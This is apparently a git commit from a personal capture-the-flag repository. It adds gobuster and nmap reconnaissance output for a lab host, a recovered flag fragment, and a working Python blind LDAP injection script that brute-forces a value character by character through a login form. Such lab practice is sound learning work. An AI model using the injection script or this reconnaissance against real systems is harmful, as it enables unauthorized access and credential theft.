2025-12-08
This commit is contained in:
3
AoC/2025/07/gobuster.txt
Normal file
3
AoC/2025/07/gobuster.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
/terminal [36m (Status: 302)[0m [Size: 201][34m [--> /unlock][0m
|
||||
/unlock [32m (Status: 200)[0m [Size: 1257]
|
||||
/tty [36m (Status: 301)[0m [Size: 162][34m [--> http://10.82.133.11/tty/][0m
|
||||
104
AoC/2025/07/nmap_scan.txt
Normal file
104
AoC/2025/07/nmap_scan.txt
Normal file
@@ -0,0 +1,104 @@
|
||||
# Nmap 7.95 scan initiated Mon Dec 8 07:47:46 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -p- -oN nmap_scan.txt 10.82.133.11
|
||||
Nmap scan report for 10.82.133.11
|
||||
Host is up (0.042s latency).
|
||||
Not shown: 65531 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
|
||||
80/tcp open http nginx
|
||||
|_http-title: TBFC QA \xE2\x80\x94 EAST-mas
|
||||
21212/tcp open ftp vsftpd 3.0.5
|
||||
| ftp-syst:
|
||||
| STAT:
|
||||
| FTP server status:
|
||||
| Connected to 192.168.156.241
|
||||
| Logged in as ftp
|
||||
| TYPE: ASCII
|
||||
| No session bandwidth limit
|
||||
| Session timeout in seconds is 300
|
||||
| Control connection is plain text
|
||||
| Data connections will be plain text
|
||||
| At session startup, client count was 3
|
||||
| vsFTPd 3.0.5 - secure, fast, stable
|
||||
|_End of status
|
||||
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|
||||
|_Can't get directory listing: TIMEOUT
|
||||
25251/tcp open unknown
|
||||
| fingerprint-strings:
|
||||
| DNSStatusRequestTCP, DNSVersionBindReqTCP, LDAPBindReq, NULL, RPCCheck, SMBProgNeg, X11Probe:
|
||||
| TBFC maintd v0.2
|
||||
| Type HELP for commands.
|
||||
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, LDAPSearchReq, RTSPRequest:
|
||||
| TBFC maintd v0.2
|
||||
| Type HELP for commands.
|
||||
| unknown command
|
||||
| unknown command
|
||||
| Help:
|
||||
| TBFC maintd v0.2
|
||||
| Type HELP for commands.
|
||||
| Commands: HELP, STATUS, GET KEY, QUIT
|
||||
| Kerberos, LPDString, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|
||||
| TBFC maintd v0.2
|
||||
| Type HELP for commands.
|
||||
| unknown command
|
||||
| SIPOptions:
|
||||
| TBFC maintd v0.2
|
||||
| Type HELP for commands.
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
| unknown command
|
||||
|_ unknown command
|
||||
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||||
SF-Port25251-TCP:V=7.95%I=7%D=12/8%Time=693674F2%P=aarch64-unknown-linux-g
|
||||
SF:nu%r(NULL,29,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20for\x20commands\
|
||||
SF:.\n")%r(GenericLines,49,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20for\x
|
||||
SF:20commands\.\nunknown\x20command\nunknown\x20command\n")%r(GetRequest,4
|
||||
SF:9,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20for\x20commands\.\nunknown\
|
||||
SF:x20command\nunknown\x20command\n")%r(HTTPOptions,49,"TBFC\x20maintd\x20
|
||||
SF:v0\.2\nType\x20HELP\x20for\x20commands\.\nunknown\x20command\nunknown\x
|
||||
SF:20command\n")%r(RTSPRequest,49,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x
|
||||
SF:20for\x20commands\.\nunknown\x20command\nunknown\x20command\n")%r(RPCCh
|
||||
SF:eck,29,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20for\x20commands\.\n")%
|
||||
SF:r(DNSVersionBindReqTCP,29,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20for
|
||||
SF:\x20commands\.\n")%r(DNSStatusRequestTCP,29,"TBFC\x20maintd\x20v0\.2\nT
|
||||
SF:ype\x20HELP\x20for\x20commands\.\n")%r(Help,4F,"TBFC\x20maintd\x20v0\.2
|
||||
SF:\nType\x20HELP\x20for\x20commands\.\nCommands:\x20HELP,\x20STATUS,\x20G
|
||||
SF:ET\x20KEY,\x20QUIT\n")%r(SSLSessionReq,39,"TBFC\x20maintd\x20v0\.2\nTyp
|
||||
SF:e\x20HELP\x20for\x20commands\.\nunknown\x20command\n")%r(TerminalServer
|
||||
SF:Cookie,39,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20for\x20commands\.\n
|
||||
SF:unknown\x20command\n")%r(TLSSessionReq,39,"TBFC\x20maintd\x20v0\.2\nTyp
|
||||
SF:e\x20HELP\x20for\x20commands\.\nunknown\x20command\n")%r(Kerberos,39,"T
|
||||
SF:BFC\x20maintd\x20v0\.2\nType\x20HELP\x20for\x20commands\.\nunknown\x20c
|
||||
SF:ommand\n")%r(SMBProgNeg,29,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20fo
|
||||
SF:r\x20commands\.\n")%r(X11Probe,29,"TBFC\x20maintd\x20v0\.2\nType\x20HEL
|
||||
SF:P\x20for\x20commands\.\n")%r(FourOhFourRequest,49,"TBFC\x20maintd\x20v0
|
||||
SF:\.2\nType\x20HELP\x20for\x20commands\.\nunknown\x20command\nunknown\x20
|
||||
SF:command\n")%r(LPDString,39,"TBFC\x20maintd\x20v0\.2\nType\x20HELP\x20fo
|
||||
SF:r\x20commands\.\nunknown\x20command\n")%r(LDAPSearchReq,49,"TBFC\x20mai
|
||||
SF:ntd\x20v0\.2\nType\x20HELP\x20for\x20commands\.\nunknown\x20command\nun
|
||||
SF:known\x20command\n")%r(LDAPBindReq,29,"TBFC\x20maintd\x20v0\.2\nType\x2
|
||||
SF:0HELP\x20for\x20commands\.\n")%r(SIPOptions,D9,"TBFC\x20maintd\x20v0\.2
|
||||
SF:\nType\x20HELP\x20for\x20commands\.\nunknown\x20command\nunknown\x20com
|
||||
SF:mand\nunknown\x20command\nunknown\x20command\nunknown\x20command\nunkno
|
||||
SF:wn\x20command\nunknown\x20command\nunknown\x20command\nunknown\x20comma
|
||||
SF:nd\nunknown\x20command\nunknown\x20command\n");
|
||||
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
|
||||
Aggressive OS guesses: Linux 5.18 (96%), Linux 5.4 (94%), Cisco Unified Communications Manager VoIP adapter (92%), Linux 2.6.26 (92%), Linux 2.6.18 (89%), Android TV OS 11 (Linux 4.19) (88%), Android 7.1.2 (Linux 3.10) (88%), IPFire 2.25 firewall (Linux 4.14) (88%), IPFire 2.27 (Linux 5.15 - 6.1) (88%), Linux 2.6.32 (88%)
|
||||
No exact OS matches for host (test conditions non-ideal).
|
||||
Network Distance: 3 hops
|
||||
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 80/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 42.07 ms 192.168.128.1
|
||||
2 ...
|
||||
3 42.69 ms 10.82.133.11
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Mon Dec 8 07:52:34 2025 -- 1 IP address (1 host up) scanned in 288.40 seconds
|
||||
1
AoC/2025/07/tbfc_qa_key1
Normal file
1
AoC/2025/07/tbfc_qa_key1
Normal file
@@ -0,0 +1 @@
|
||||
KEY1:3aster_
|
||||
47
Walkthroughs/LDAPi/script.py
Normal file
47
Walkthroughs/LDAPi/script.py
Normal file
@@ -0,0 +1,47 @@
|
||||
import requests
|
||||
from bs4 import BeautifulSoup
|
||||
import string
|
||||
import time
|
||||
|
||||
# Base URL
|
||||
url = 'http://10.82.144.176/blind.php'
|
||||
|
||||
# Define the character set
|
||||
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"
|
||||
|
||||
# Initialize variables
|
||||
successful_response_found = True
|
||||
successful_chars = ''
|
||||
|
||||
headers = {
|
||||
'Content-Type': 'application/x-www-form-urlencoded'
|
||||
}
|
||||
|
||||
while successful_response_found:
|
||||
successful_response_found = False
|
||||
|
||||
for char in char_set:
|
||||
#print(f"Trying password character: {char}")
|
||||
|
||||
# Adjust data to target the password field
|
||||
data = {'username': f'{successful_chars}{char}*)(|(&','password': 'pwd)'}
|
||||
|
||||
# Send POST request with headers
|
||||
response = requests.post(url, data=data, headers=headers)
|
||||
|
||||
# Parse HTML content
|
||||
soup = BeautifulSoup(response.content, 'html.parser')
|
||||
|
||||
# Adjust success criteria as needed
|
||||
paragraphs = soup.find_all('p', style='color: green;')
|
||||
|
||||
if paragraphs:
|
||||
successful_response_found = True
|
||||
successful_chars += char
|
||||
print(f"Successful character found: {char}")
|
||||
break
|
||||
|
||||
if not successful_response_found:
|
||||
print("No successful character found in this iteration.")
|
||||
|
||||
print(f"Final successful payload: {successful_chars}")
|
||||
Reference in New Issue
Block a user